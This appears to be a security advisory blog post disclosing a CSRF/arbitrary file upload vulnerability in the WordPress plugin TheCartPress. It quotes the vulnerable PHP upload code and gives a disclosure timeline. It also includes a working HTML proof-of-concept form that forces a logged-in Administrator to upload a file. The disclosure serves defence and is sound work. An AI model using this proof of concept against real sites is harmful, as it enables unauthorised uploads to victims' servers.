21 Apr

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in TheCartPress

In February we saw what looked like it might be a hacker probing for usage of the plugin TheCartPress. While we already had a vulnerability in our data that could have been what a hacker might be targeting, we started looking for any other vulnerabilities in the current version that might be of interest of a hacker. While doing that we found a cross-site request forgery (CSRF)/arbitrary file upload vulnerability, which could allow an attacker to cause a logged in Administrator to upload a file to the website. The file is placed in a directory that is restricted from access through a .htaccess file, so the file would only be accessible on servers that don’t use those file (several of which are supported for use with WordPress) or using a local file inclusion (LFI) vulnerability. The combination of the type of vulnerability and that restriction make it unlikely that this vulnerability would be exploited.

The vulnerability in exists in the file /admin/UploadFiles.php, which is made accessible to Administrators through the following line in the /TheCartPress.class.php:

800
add_submenu_page( 'tcp' , __( 'Upload files', 'tcp' ), __( 'Upload files', 'tcp' ), 'tcp_edit_product', TCP_ADMIN_FOLDER . 'UploadFiles.php' );

In the file /admin/UploadFiles.php the upload is handled through the function tcp_upload_file(), which does not have protection against CSRF before the file is saved to the filesystem using move_uploaded_file():

34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
function tcp_upload_file( $post_id, $file ) {
	global $thecartpress;
	global $error_upload;
	$rev_name = strrev( $_FILES['upload_file']['name'] );
	$i = strpos( $rev_name, '.' );
	$ext = strrev( substr( $rev_name, 0, $i ) );
	$downloadable_path = isset( $thecartpress->settings['downloadable_path'] ) ? trim( $thecartpress->settings['downloadable_path'] ) : '';
	if ( strlen( $downloadable_path ) == 0 ) {
		wp_die( __( 'The path where the downloadable files must be saved is not set.', 'tcp' ) );
		return false;
	} else {
		global $wpdb;
		//$folder_path = $downloadable_path . '/' . $wpdb->prefix . 'tcp';
		$folder_path = $downloadable_path . '/tcp';
		if ( ! file_exists( $folder_path ) )
			if ( ! wp_mkdir_p( $folder_path ) ) {
				$error_upload = sprintf( __( 'Error creating the folder "%s".', 'tcp' ), $folder_path );
				return false;
			}
		$file_path = $folder_path . '/upload_' . $post_id . '.' . $ext;
		tcp_set_the_file( $post_id, $file_path );
		if ( move_uploaded_file( $_FILES['upload_file']['tmp_name'], $file_path ) ) {

Proof of Concept

The following proof of concept will cause the chosen file to be uploaded to the directory /wp-content/plugins/thecartpress/uploads/tcp/, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[ID of Product Post]” with the ID of a post for an existing product (which is listed in numerous places in the source code of product’s page).

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=thecartpress%2Fadmin%2FUploadFiles.php&post_id=14" method="POST" enctype="multipart/form-data">
<input type="hidden" name="post_id" value="[ID of product post]" >
<input type="hidden" name="tcp_upload_virtual_file" value="Upload file">
<input type="file" name="upload_file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • February 6, 2017 – Developer notified.

Concerned About The Security of The Plugins You Use?

When you are a paying customer of our service (you can currently try the service free for the first month), you get to suggest/vote on what plugins we will do security reviews of.

Leave a Reply

Your email address will not be published. Required fields are marked *